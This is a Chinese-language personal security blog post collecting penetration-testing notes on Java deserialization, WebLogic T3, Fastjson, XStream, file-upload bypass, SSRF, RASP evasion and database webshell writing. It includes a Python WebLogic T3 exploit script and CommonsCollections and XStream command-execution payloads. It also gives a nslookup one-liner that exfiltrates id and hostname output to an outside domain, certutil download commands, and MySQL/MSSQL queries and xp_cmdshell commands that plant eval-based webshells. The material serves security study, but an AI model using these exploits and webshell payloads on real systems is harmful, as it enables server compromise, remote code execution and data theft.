十月整理的问题/1

前言

最近blog写的比较懒了,其实不是学习停滞了,而我觉得是学习的速度加快了。很多问题都是之前遇到过得,只能说是更加深入,深一步的发展,于是有了这篇零零散散的笔记。并且贴了一些文章的链接,这些大佬的思路都是非常好的,很严密,这样每次去翻阅的时候也会印象更深。并且在基础上面,再去整理一些大致的思路和框架。反正记了不一定能记住,思路永远可以学习强化。

其次是很多我喜欢画图,纸质笔记本上面对一些问题的整理翻看也会更快一点。

CC链:

img

CC1:

  • JDK 1.7
  • Commons Collections 3.1

利用链

https://paper.seebug.org/1242/#commonscollections-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get() //找不到反射的构造方法就静态生成
ChainedTransformer.transform()//(每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去)
ConstantTransformer.transform()//(transform方法将输入原封不动的返回)
InvokerTransformer.transform()//(通过反射来调用某方法)
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

sourcce,gadget,sink

​ 在commons collections中有一个Transformer接口,其中包含一个transform方法,通过实现此接口来达到类型转换的目的。

需要传递一个Runtime.getRuntime()的runtime实例进去,而Runtime并没有继承Serializable,所以runtime也要进行反射来生成。

Class[].class,其实就是对应着这里的可变参数,再加一个new Class[0]起到占位的作用。

1、Templates类的newTransformer方法,会将属性_bytecodes,通过调用java的defineClass去生成一个类,并将其实例化,也就是调用静态代码块的代码。2、而AnnotationInvocationHandler,创建一个Templates的jdk动态代理,在hashmap出现哈希碰撞的时候,在hashmap中会调用AnnotationInvocationHandler的equal方法,equal方法会调用自身的equalImpl方法。最终会调用被代理对象的每个方法,去生成结果。3、因为newTransformer方法恰好为Templates的第一个方法,如果是第二个方法的话,会导致执行第一个方法的时候出错而中断整个反序列化链。

1
2
3
4
5
6
7
8
9
10
11
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);

weblogic中,必须要调用FilteredObjectInputStream,才可以在反序列化过程中使用反序列化的黑名单。如果类中私自调用ObjectInputStream,则不会应用weblogic反序列化的黑名单。从而绕过

动态代理:实现了不需要中间商proxy(类),直接“创建”某个接口的实例,对其方法进行调用。

实现原理: 实现InvocationHandler类的invoke方法,类生成的时候Proxy.newProxyInstance传入classloader,class的class类,invocationhandler接口,并用那个class类转型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Test {
public static void main(String[] args){
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}else if(method.getName().equals("fuck")){
System.out.println("Hello,fucker"+ args[0]);

}
return null;
}
};
Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler);
hello.morning("v1rus");
hello.fuck("v1rus");

}
}

weblogic

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

Weblogic 的反序列化漏洞中主要是 XMLDecoder 和 T3( Weblogic RMI 调用时的通信协议,基础通信协议是 JRMP) 弱密码部署war包,ssrf等。

先会发一个试探包 t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n , 然后 Weblogic 会回应 HELO 和自身的版本,然后接下来是我们的 payload 的数据包

CVE-2015-4852:resolveClass 中没有做防护,以及 Weblogic 后续的补丁都是在 resolveClass 中进行防护的,所以我们这里来看看

协议:

1
2
3
【数据包长度】【T3协议头】【反序列化标志】【数据】

通常在反序列化数据包中,ac ed 00 05 是反序列化标志,在 T3 协议中由于每个反序列化数据包前面都有 fe 01 00 00 ,所以这里的反序列化标志相当于就是 fe 01 00 00 ac ed 00 05

image-20210927161345133

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
YSO_PATH = "/Users/xxxx/tools/ysoserial/ysoserial-master-d367e379d9-1.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()

def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000") #先进性占位
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
desflag = binascii.a2b_hex(b"fe010000") #t3反序列化标志
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:] //对占位进行修改,计算payload长度进行修改
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)

XStream

https://mp.weixin.qq.com/s/jWa6SW3PfVsZ5Qzlmx_2EQ

XStream是一个序列化存储对象的库,类似于java原生的序列化

可以序列化未继承自java.io.serializable接口的类的对象。其他功能均与java原生的序列化功能一样,如果xstream在反序列化的时候发现还原继承自java.io.serializable的类,则同样会调用对象的readObject方法。

xml标签中,首先存储父类的字段信息,然后再存储子类的。顺序则按照类声明字段的顺序。每一层,都会注明子类的全限定名。在对象中,每个xml标签对应着对象的字段。

反序列化的方法

UnicastRef对象的readExternal方法

Window下,推荐用 EmEditor 进行日志分析

命令不出网

命令自动查找bsa.js并在其目录写入文件(由于可能不知道是什么盘可能需要多次尝试),寻找js文件将参数传入之后写入。

1
cmd /c "for /f %i in ('dir /s /b e:bsa.js') do (echo %i> %i.path.txt)%26(ipconfig > %i.ipconfig.txt)"

成test.txt写入id pwd ifconfig命令的结果

1
find / -name bas.js|while read f;do sh -c 'id;pwd;ifconfig' >$(dirname $f)/test.txt;done

(1) 利用格式化输出

命令如下:

(pwd;id;hostname)|xxd -ps -c 20|awk’{system(“nslookup “NR”.”$0”.c.pproot.com”)}’

2、 过java反序列化执行java代码&&系统命令获取到发起这次请求时对应的服务端socket文件描述符,然后在文件描述符写入回显内容

fastjson

https://www.kingkk.com/2020/06/%E6%B5%85%E8%B0%88%E4%B8%8BFastjson%E7%9A%84autotype%E7%BB%95%E8%BF%87/

key值为@type时,就会进入checkAutoType函数尝试获取类,校验SupportAutoType属性的工作却是在checkAutoType函数中完成的。

首先尝试从TypeUtilsmappings中获取对应类,里面原本就有一些类,而且后续会被当作已获取类的缓存使用。然后是尝试从deserializers.findClass中获取class类,这里面的类主要是在ParserConfig.initDeserializers()中被赋值的。也就相当于这些特殊类也可以被无条件的反序列化。然后就是尝试从typeMapping中获取对应类,这其中默认的值为空,需要开发人员自行赋值。

然后就是在没有开启SupportAutoType时,通过黑白名单去校验类,黑名单抛出异常,白名单加载类并返回。

之后如果 开启了SupportAutoType 或者 有JSONType的注解 或者 存在期望类,则会直接去加载对应类

主要就是进入checkAutoType函数之后,有很多的return。然后抛出异常是放在了最后。

img

可以看到主要有如下种情况可以直接返回class

  • acceptHashCodes 白名单
  • INTERNAL_WHITELIST_HASHCODES 内部白名单
  • TypeUtils.mappings mappings缓存
  • deserializers.findClass 指定类
  • typeMapping.get 默认为空
  • JsonType 注解
  • exceptClass 存在期望类

1、首先尝试从TypeUtilsmappings中获取对应类2、然后是尝试从deserializers.findClass中获取class类,这里面的类主要是在ParserConfig.initDeserializers()中被赋值的。3、然后就是尝试从typeMapping中获取对应类,这其中默认的值为空,需要开发人员自行赋值。4、之后就是类在白名单中时(但几乎不大可能),尝试自动去加载类。5、最后,如果通过以上方式可以加载到类,则校验期望类,没有问题的话就直接返回对应的class。

1.2.47绕过: 因此就可以首先通过反序列化java.lang.Class指定恶意类,然后恶意类被加入mappings缓存后,第二次就可以直接从缓存中获取到恶意类,并进行反序列化。

将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法

1
2
3
4
5
6
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
DefaultJSONParser.java:436

if (object.getClass() == JSONObject.class) {
key = (key == null) ? "null" : key.toString();
}

于是乎就触发了 BasicDataSource.getConnection()。PoC最完整的写法应该是:

1
2
3
4
5
6
7
8
9
10
11
12
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

当然,如果目标环境的开发者代码中是调用的是 JSON.parseObject() ,那就不用这么麻烦了。与 parse() 相比,parseObject() 会额外的将 Java 对象转为 JSONObject 对象,即调用 JSON.toJSON(),在处理过程中会调用所有的 setter 和 getter 方法。

XStream

XStream序列化和反序列化的核心是通过Converter转换器来将XML和对象之间进行相互的转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void main(String[] args) {

XStream xStream = new XStream();

String xml =
"<sorted-set>\n" +
" <string>foo</string>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>cmd</string>\n" +
" <string>/C</string>\n" +
" <string>calc</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";

xStream.fromXML(xml);

}

image-20210928113301242

Tomcat非双亲委派

Tomcat的类加载机制是违反了双亲委托原则的,对于一些未加载的非基础类(Object,String等),各个web应用自己的类加载器(WebAppClassLoader)会优先加载,加载不到时再交给commonClassLoader走双亲委托。

1、一个web容器可能需要部署两个应用程序,不同的应用程序可能会依赖同一个第三方类库的不同版本,不能要求同一个类库在同一个服务器只有一份,因此要保证每个应用程序的类库都是独立的,保证相互隔离。不同版本相互独立隔离。

2、部署在同一个web容器中相同的类库相同的版本可以共享。否则,如果服务器有10个应用程序,那么要有10份相同的类库加载进虚拟机,这是扯淡的。

3、web容器也有自己依赖的类库,不能于应用程序的类库混淆。基于安全考虑,应该让容器的类库和程序的类库隔离开来。web容器类库不能与应用程序类库混淆。

4、web容器要支持jsp的修改,我们知道,jsp 文件最终也是要编译成class文件才能在虚拟机中运行,但程序运行后修改jsp已经是司空见惯的事情,否则要你何用? 所以,web容器需要支持 jsp 修改后不用重启

JDBC,JNDI,Thread.currentThread().setContextClassLoader();等很多地方都一样是违反了双亲委托。

https://blog.csdn.net/yangcheng33/article/details/52631940

因为这句Class.forName(DriverName, false, loader)代码所在的类在java.util.ServiceLoader类中,而ServiceLoader.class又加载在BootrapLoader中,因此传给 forName 的 loader 必然不能是BootrapLoader,复习双亲委派加载机制请看:java类加载器不完整分析 。这时候只能使用TCCL了,也就是说把自己加载不了的类加载到TCCL中(通过Thread.currentThread()获取,简直作弊啊!)。上面那篇文章末尾也讲到了TCCL默认使用当前执行的是代码所在应用的系统类加载器AppClassLoader。

再看下看ServiceLoader.load(Class)的代码,的确如此:

1
2
3
4
public static <S> ServiceLoader<S> load(Class<S> service) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
return ServiceLoader.load(service, cl);
}

ContextClassLoader默认存放了AppClassLoader的引用,由于它是在运行时被放在了线程中,所以不管当前程序处于何处(BootstrapClassLoader或是ExtClassLoader等),在任何需要的时候都可以用Thread.currentThread().getContextClassLoader()取出应用程序类加载器来完成需要的操作。

文件上传

image-20210928155349175

  1. 通 过 host 碰 撞 找 到 真 实 IP 绕 过 云 waf(fofa 这 种 是 搜 不 到 真 实 IP 的)

  2. Content-Encoding=deflate 绕过本地防火墙内容检测,gzip也是能绕的(这个也可以放在请求头中)

  3. 于是翻了翻笔记,找到以前屡试不爽的上传 Tips ————添加 Accept-Encoding: deflate,但发现这种方法已经过时了,换成 Accept-Encoding: gzip 发现还是过不了这个拦截gzip  表明实体采用GNU zip编码

    compress 表明实体采用Unix的文件压缩程序

    deflate  表明实体是用zlib的格式压缩的

    identity  表明没有对实体进行编码。当没有Content-Encoding header时, 就默认为这种情况

    gzip, compress, 以及deflate编码都是无损压缩算法,用于减少传输报文的大小,不会导致信息损失。 其中gzip通常效率最高, 使用最为广泛。

  4. jspa jhtml jsp jspx

image-20211029152156241

  1. 条件竞争上传

    定义:竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中

    10.27看了条件竞争上传,大致的流程就是先上传文件到临时目录或者其他目录,再去判断文件名的后缀是否合法,不合法再删除文件。这个操作是不可取的。大致流程:php:if(move_uploaded_file($tmpFile,$upload_File)) -> inarray($fileext,$ext_arr)->unlink($upload_file)。利用方式:上传白名单类的文件之后,知道上传的路径在哪,多线程上传之后再不停访问这个文件,这个文件再去释放一个php马。

  2. 二次渲染

    1、对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了拿些数据。2、并且需要配合文件包含漏洞。这个利用条件比较的困难。

  3. 但是.htaccess只是适用于apache,如果变成niginx或者iis则不会被解析。而在服务器以fastcgi启动运行的时候,.user.ini也是php的一种配置文件。

SSRF

image-20210928155415575

burp里面的探测 engagement tools Search方法 302跳转的,或者有http字段的。

1、ssrf出现的位置,其实burp抓包,不管是get的参数还是post的参数,我们都可以直接fuzzing,就比如post的数据,image=admin,我们image=http://vps:1234 都要不断尝试。不一定非要在网上说的那几个位置才能想到ssrf
2、认清ssrf的作用,像ssrf->getshell真的太少了,都是配合ssrf收集信息打组合拳,就比如配合redis拿shell,首先是对面可能存在redis,然后未授权。然后写东西的时候不出玄学问题,就行了
3、ssrf最主要的几个功能是收集服务器的真实IP,探测内部文件,比如看看能不能通过gopher,file等协议读取东西,如果能探测web的端口,可以看看找一些get参数就能拿东西的漏洞,比如get型的sql注入

xxe,csrf

1、首先xxe我们也可以先将我们的content-type改为我们的application/xml,不管他是application/data,application/json,都可以改成application/xml,然后看看response对比哈,如果有区别的话可以FUZZING一哈xxe的payload
2、关于csrf,其实csrf可以简单的理解借刀杀人,用当前目标的权限去做他能做的事情,如果此后台管理员能编辑模板插入脚本代码,那么我们就可以构造出POC去getshell,但是话又说回来,这2个洞我反正在项目中遇到是很少的。

最近遇到csrf和反射xss有关的,实际呢是一个url的重定向。后面修复的方案就是将refer中包含了该ip的就放行,否则就是不通过refer的校验,所以有两种绕过形式:1、 malicousIP/HostIP/xx xx网页302重定向到 那个危害的url。但是这种方法只在ie浏览器中可行,firefox和chrome都会变成图二这样。host对的 但是refer不是同源的情况下 会指向原refer起到了保护的作用。 2、第二种情况通杀,毕竟只包含了这个ip就可以 ,那么可以构造一个域名 www.192.168.70.41.v1rus.top。浏览这个网址的时候再做302重定向就ok。

image-20211027100642271

image-20211027100734565

图二

网页重定向的方法:https://www.jianshu.com/p/3985715c37b1 涉及apache RewriteRule .htaccess模块的运用,html,js的控制等。

rasp的绕过

1、 jni方法加载dll自定义方法(java的rasp只可以修改java class的字节码,不可以修改native库的字节码。虽然这句话说起来很别扭,但是像我们阐述一个道理,即java agent修改字节码的能力是有限的。) 比如Tomcat的apr库提升性能调用jni方法,其中有个危险的create方法调用命令行。(一般都存在于$CATALINA_HOME/bin)

1
2
3
4
5
编写带有native声明的方法的java类,生成.java文件
使用javac命令编译所编写的java类,生成.class文件
使用javah -jni java类名生成扩展名为h的头文件,也即生成.h文件
使用C/C++(或者其他编程想语言)实现本地方法,创建.h文件的实现,也就是创建.cpp文件实现.h文件中的方法
将C/C++编写的文件生成动态连接库,生成dll文件

2、 new一个新的线程(发rasp会判断请求url是否为空来判断是否校验。我们将 return clean;注释掉,发现能够拦截,我们用线程的方式启动请求context中没有url。所以能绕过。)

3、 把恶意代码放在异常类去执行

image-20210928163031314

4、 enablehook关掉

tricks:

1、 反弹Shell的时候不要用命令进行反弹,会触发EDR等安全设备告警,可采用Java API

image-20210928163331008

l1nk3r的奇怪的base64编码

sun.misc.BASE64Decoder这个方法做base64解码的时候,针对base64的兼容性更高,你在base64的字符串后面无论加多少个=都没关系,但是在例如java.util.base64.decode这类型严格按照base64规范的进行解码的方法下,就会出现报错。

信息收集

image-20210928165006359

image-20210928170052893

img

备案收集、通过网站ico收集、小程序子域名/接口收集、组织架构股东书收集、网盘/云雀收集,dns历史解析、github搜索、JsFind、webpack、内部/内测群/群文件

1、备案收集:

同备案查询,https://icp.chinaz.com/ oneforall也提供了接口,但是备案查询

2、网站ico收集 语法:http.favicon.hash:-1507567067 在python中脚本设置,网站的ico在hmtl页面中的head部分 有个link rel=”icon” href后面的就是路径。

3、ssl证书 这个oneforall里面运用接口查询是有的 就是想清楚的了解一下是周末一回事儿 https://crt.sh/

子域名https://saucer-man.com/information_security/224.html

主要分为三种,爆破,ssl证书,dns记录查询

xp_cmdshell

这个命令最初是用来管理证书的,但对红队的工作有很大的帮助,原因有很多:

  • 它是由Microsoft默认安装的二进制文件。
  • 它允许建立HTTP/s连接并且是proxy-aware(使用系统中配置的代理)
  • 它允许在Base64或十六进制中编码/解码。

在我们的场景中,我们运用它向我们控制的web服务器发出HTTP/s请求,确认我们的命令是否被执行。

1
';EXEC xp_cmdshell 'certutil.exe -urlcache -f http://example.com'

词法分析 语法分析 语义分析

词语分析 文本扫描器工作的源代码作为字符流进行扫描,并将其转换为有意义的词素。词汇分析器以标记的形式表示这些词汇:

<token-name, attribute-value>【词法分析是编译器的第一个阶段。它从以句子形式编写的语言预处理器中获取经过修改的源代码。词法分析器通过删除源代码中的任何空格或注释,将这些语法分解为一系列标记。 】

语法分析 是指抽象成AST。(抽象语法树(Abstract Syntax Tree,AST))你int a =”string”在语法结构中是对的。根据ast树可以构造成,keyvalueExpression根节点,然后是key和value在左右两侧。

语义分析 是指分析语义,上面的例子违反了规范,左右两侧的数据类型不一致。类似的还有返回值类型不一致。

生成一个对象

先了解Java 中创建对象的方法大概有下面这七种:

  • 使用 new 关键字
  • Class 类的 newInstance() 方法
  • Constructor 类的 newInstance() 方法
  • Object 对象的 clone 方法
  • 反序列化创建对象
  • 使用 Unsafe 类创建对象
  • 通过工厂方法返回对象,如:String str = String.valueOf(23);

蜜罐

jsonp、mysql local infile(开启之后我们就可以通过如下命令进行文件读取并且写入到表中,我们以C:\1.txt为例,将其中内容写入到test表中,并且以\n为分隔符。

1
load data local infile ``'C:/1.txt'` `into table test fields terminated by ``'\n'``;

这样我们就可以读取客户端本地的文件,并写入到表中)、rdp

漏洞(,MITM记录了以下操作事件:

  • 点阵图像
  • 鼠标移动
  • 键盘输入
  • 连接信息(本地IP地址、用户名、密码、域名、计算机名)
  • 剪贴板内容

)、执行文件(activex、pe文件)

数据库写shell

mysql

利用条件:利用条件

  1. 数据库当前用户为root权限或者至少有FILE权限
  2. 知道当前网站的绝对路径
  3. PHP的GPC为 off状态 无特殊字符转义
  4. 写入的那个路径存在写入权限
  5. .secure_file_priv 的值非NULL或包含了导出的绝对路径(show global variables like ‘%secure%’;或者设置为空,那么对所有路径均可进行导入导出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

1、 http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’<? phpinfo(); ?>’ into outfile ‘G:/2.txt’ %23

2、 http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’<?php phpinfo() ?>’ into dumpfile ‘G:/2.txt’ %23

3、 非联合查询 http://127.0.0.1/sqli-labs-master/Less-2/?id=1 into outfile ‘G:/2.txt’ fields terminated by ‘<? phpinfo(); ?>’%23

4、 基于log写shell (查询日志路径之后更改并改回去)
基于log日志写shell法

show variables like ‘%general%’;
查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复。

set global general_log = on;
开启日志监测,一般是关闭的,如果一直开,文件会很大的。

set global general_log_file = ‘G:/2.txt’;
这里设置我们需要写入的路径就可以了。

select ‘<?php eval($_POST[‘shiyan’]);?>’;
查询一个一句话,这个时候log日志里就会记录这个。

set global general_log_file = ‘D:\xampp\mysql\data\LAPTOP-SO1V6ABB.log’;
结束后,再修改为原来的路径。

set global general_log = off;
关闭下日志记录。

5、 0x05

一个很老的创建再导出的方法,我也搞不懂为什么要有这样存在,可能是存在即合理把,肯定有它的用处。

use test;
连接 test 数据库。

drop table if exists sy;
搜索并删除存在的 sy 这个表。

create table sy(eel text not null);
建立这个sy表,然后里面一个eel的字段。

insert into sy(eel) values (‘<?php phpinfo(); ?>’);
写进入一句话

SELECT eel FROM sy INTO OUTFILE ‘G:/2.txt’;
把这句话再导出来。

DROP TABLE sy;
删除这个表。

into oufile(hex编码), into dumpfile(只能导出一行),写log,写表

1
select * from student into outfile "C:/phpStudy/MySQL/bin/test.php" LINES STARTING BY '<?php @eval($_POST[pass]);?>';

img

1
2
3
FIELDS TERMINATED BY ','    = 字段值之间以,分割
OPTIONALLY ENCLOSED BY '"' = 字段值以"包裹
LINES TERMINATED BY '\n' = 设置每⾏数据结尾的字符为换行符

可以利用的日志:只有查询日志和慢查询日志可利用(-1’;select ““ from users where sleep(11);#)

1
log_error

只读,只能通过修改mysql配置文件改路径,不能利用
事务日志、二进制日志和错误日志一样,只能通过修改mysql配置文件改路径,不能利用

mssql

基本思路

https://y4er.com/post/mssql-getshell/

https://www.cnblogs.com/0nc3/p/12071345.html

拿shell的两大前提就是

  1. 有相应的权限db_owner
  2. 知道web目录的绝对路径

绝对路径:

  1. 报错信息
  2. 字典猜
  3. 旁站的目录
  4. 存储过程来搜索
  5. 读配置文件
1
2
3
4
5
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--
当然还不行可能xplog70.dll需要恢复,看具体情况来解决吧

1、 xp_cmdshell拿shell

xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径

1
http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

由于cmd写webshell的主意这些转义的问题 推荐使用certutil或者vbs什么的来下载

2、 差异备份拿shell

1
2
3
4
5
6
7
1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);

3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

因为权限的问题,最好不要备份到盘符根目录

当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。

3、 log备份拿shell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式

1
2
3
4
5
6
7
8
9
1. alter database 库名 set RECOVERY FULL 

2. create table cmd (a image)

3. backup log 库名 to disk = 'c:\xxx' with init

4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)

5. backup log 库名 to disk = 'c:\xxx\2.asp'

log备份的好处就是备份出来的webshell的文件大小非常的小

注意转义的点

1.Windows:

echo ^<? php @eval($_POST[‘x’]); ?^> >shell.php
知识点:(1)^以转义字符的身份出现。因为在cmd环境中,有些字符具备特殊功能,如>、>>表示重定向,|表示管道,&、&&、||表示语句连接……它们都有特定的功度能,如果需要把它们作为字符输出知的话,echo >、echo | ……之类的写法就会出错——cmd解释器会把它们作为具有特殊功能的字符对待,而不会作为普通字符处理,这个时候,就需道要对这些特殊字符做转义处理:在每个特殊字符回前加上转义字符^答,因此,要输出这些特殊字符,就需要用 echo ^>、echo ^|、echo ^|^|、echo ^^……之类的格式来处理。此处转义<和>

(2) 此处^为什么不换成引号?因为windows写入时会把引号写进去

2.Linux:

echo ‘‘ >shell.php

无法写shell

当遇到无法写shell,或者是站库分离的时候,直接通过xp_cmdshell来下载我们的payload来上线会更加方便。下载文件通常有下面几种姿势

  1. certutil
  2. vbs
  3. bitsadmin
  4. powershell
  5. ftp

mssql众多的储存过程是我们利用的关键

1
2
xp_create_subdir建立个畸形目录解析。
xp_regwrite 修改注册表 来劫持粘贴键 2008默认net权限

certutil base64 解码写入

上面提到 echo 写入万恶的转义问题,那么,通过 base64 编码是不是可以解决这烦人的转义问题呢?是的!
比如,我们要把 <script>alert(1)</script>(base64 编码为:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)写入文件,可用如下方法:

1
2
echo PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== > 1.txt
certutil.exe -decode 1.txt 2.jsp

certutil 下载文件的方法:

1
2
3
4
5
certutil.exe -urlcache -split -f <url>
示例:
certutil.exe -urlcache -split -f http://192.168.245.130:8080/1.txt
或者:
certutil.exe -urlcache -split -f http://192.168.245.130:8080/1.txt 2.txt

不幸的是,即使下载的不是有毒文件,杀软还是很可能会杀掉:

shiro下tomcat加载不了cc4

网上现在是说:TomcatJDKClasspath是不公用且不同的,Tomcat启动时,不会用JDKClasspath,需要在catalina.sh中进行单独设置。

其实这个根本原因是tomcat破坏了了双亲委派机制,并且在urlclassLoader加载的时候限制了ucp(urlclasspath),导致没有pom仓库的路径。

这里要关注的点是: ucp.getResource

所有继承至URLClassLoader的子类(不overwrite findClass的情况下),都是 【只能通过ucp来进行资源的加载】。

URLClassPath做到了两点:

  • 指定资源的来源:可以来自于Local,来自于Remote;可以是Jar,也可以是War等等(指定URL即可)。
  • 限制资源的来源:当指定了该ucp,那么该ClassLoader的资源来源也就被【限制】只能是来自于这里。

image-20211008155409591

image-20211008173525838答案在这里。使用tomcat的类查询机制。 详见tomcat 的委派机值 ,Thread.getCurrentThread.getClassLoader。这个方法 按照道理webClassLoader是可以加载在Web-inf下的class的 但是这个类会解析成entry 而不是像urlclassloader的classpath 所以对

img

这个fqcn的名字无法返回,他会解析成[Lorg/apache…这样,导致前面无法生成类,去后面的根的Urlclassloader加载,导致找不到路径。(函数返回值和参数的编码。这种编码叫做JNI字段描述符)

关于网上大多数人赞同的帖子

https://xz.aliyun.com/t/7950#toc-3

image-20211104145118116

只是下了断点 都没走到这一步 直接贴我的图:(后面被打脸)

image-20211104145020557

很明显可以看到这里的delegateLoad的参数是false,也就是说根本不回走到1178行的内容.

image-20211104145412485

delegate的意思是委派,可以看到delege参数在对象初始化的时候的值就是false.再来看看filter方法.这里似乎要执行什么包触发器之类的操作,但是可以看到这里面的对象参数为空.而且在类的初始化的时候,就将这个空数组传入了.

image-20211104145823422

image-20211104150030002

并且我通篇看下来delegate和pakeageTrigger这俩参数没有方法去改,并且都是protect的变量.并且父类也是没有修改的地方.不知道是在本包的其他的什么地方,或者是反射的地方做的什么手脚了.

image-20211104152007212

写了这么多,啪啪打脸= =.原来是找错地方了..

image-20211104152255239

image-20211104161951581

结论正确 .

补充结论:

Class.forName不支持原生类型,但其他类型都是支持的。Class.loadClass不能加载原生类型和数组类型Class.forName不支持原生类型,但其他类型都是支持的。Class.loadClass不能加载原生类型和数组类型.

补充拓展:

后续对反序列化底层进行分析的时候,无意间学到了resolveClass这个方法,这个方法会调用Class.forName();而上述可以看到,shiro其实重写了resloveClass这个方法.看这个Stream类是继承ObjecttInputStream这个类的,只重写了resolveClass这个方法,在调用readObject这个函数的时候,会调用resolveClass方法.因为shiro在这里重写了这个方法,所以会优先调用这个重写的.

image-20211104104136383

接着上上图,ExceptIgnoringAccessor中的loadClass方法,图中的cl是org.apache.catalina.loader.ParallelWebappClassLoader类.我们去寻找一下他的loadClass方法在哪. Class.forName和ClassLoader.loadclass 这两个是类加载的方法,但是机制确实不一样的.其实主要的原因也并不是在于初始化类,而是loadclass当中的可以看到上文ucp的路径和需要序列化的类名不匹配导致的问题.

Java中new和Class.forName的区别

首先:
New = Class.forName(“pacage.A”).newInstance();

new是关键字,直接创建对象。
Class.forName()是一个方法,要求JVM查找并加载指定的类,类装载到虚拟机上之后,静态方法和静态块中的处理被执行。
这时候还没有创建对象。newInstance()是创建对象。

我们最常用的jdbc, 经常会用Class.forName来加载数据库驱动。

jdbc接口中,会存在各种数据库的驱动,不在在接口中写死,一般都写在配置文件里,
所以需要我们调用的时候通过Class.forName来加载驱动。这时候不需要创建对象,所有没有调用newInstance()

